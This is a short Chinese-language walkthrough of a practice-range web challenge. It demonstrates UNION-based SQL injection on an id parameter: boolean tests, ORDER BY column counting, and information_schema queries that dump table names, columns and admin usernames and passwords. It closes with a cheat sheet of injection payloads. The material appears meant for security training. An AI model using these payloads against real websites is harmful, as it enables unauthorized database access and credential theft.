Web first=day
练习/靶机地址:https://hack.zkaq.org/?a=battle&f=target&id=485e58d0afa7e4f7
打开靶机,进入网页

观察网址的id

可以发现:id=1,尝试改成id=2

发现网页变换但是可以访问,
在id字段后添加 and 1=1 和 and1=2来判断该网页是否存在注入漏洞


到此可以判断该网页存在注入漏洞,可以使用 order by来测试字段

测试到3时页面显示出错

可以利用1,2两个字段
尝试爆破表名 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

可以看到其中有admin,通常存储用户和密码
下面开始爆破字段,来查看admin表里面到底存了什么 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'#

可以看到表里面有id ,username,password,胜利在即
最后查询内容来获取密码 and 1=2 union select 1,group_concat(Username,Password) from admin#

最后附上常用的注入语句:
查询数据库版本:id=1998 union select 1,version() %23
查询当前数据库名:id=1998 union select 1,database() %23
数据库>5.0,可以使用information_schema进行后续操作。
获得表名:and 1=2 union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
爆字段名:?id=1998 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘admin’ %23
and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'#
爆表中数据:and 1=2 union select 1,group_concat(Username,Password) from admin#
username和password也可以分开查询

浙公网安备 33010602011771号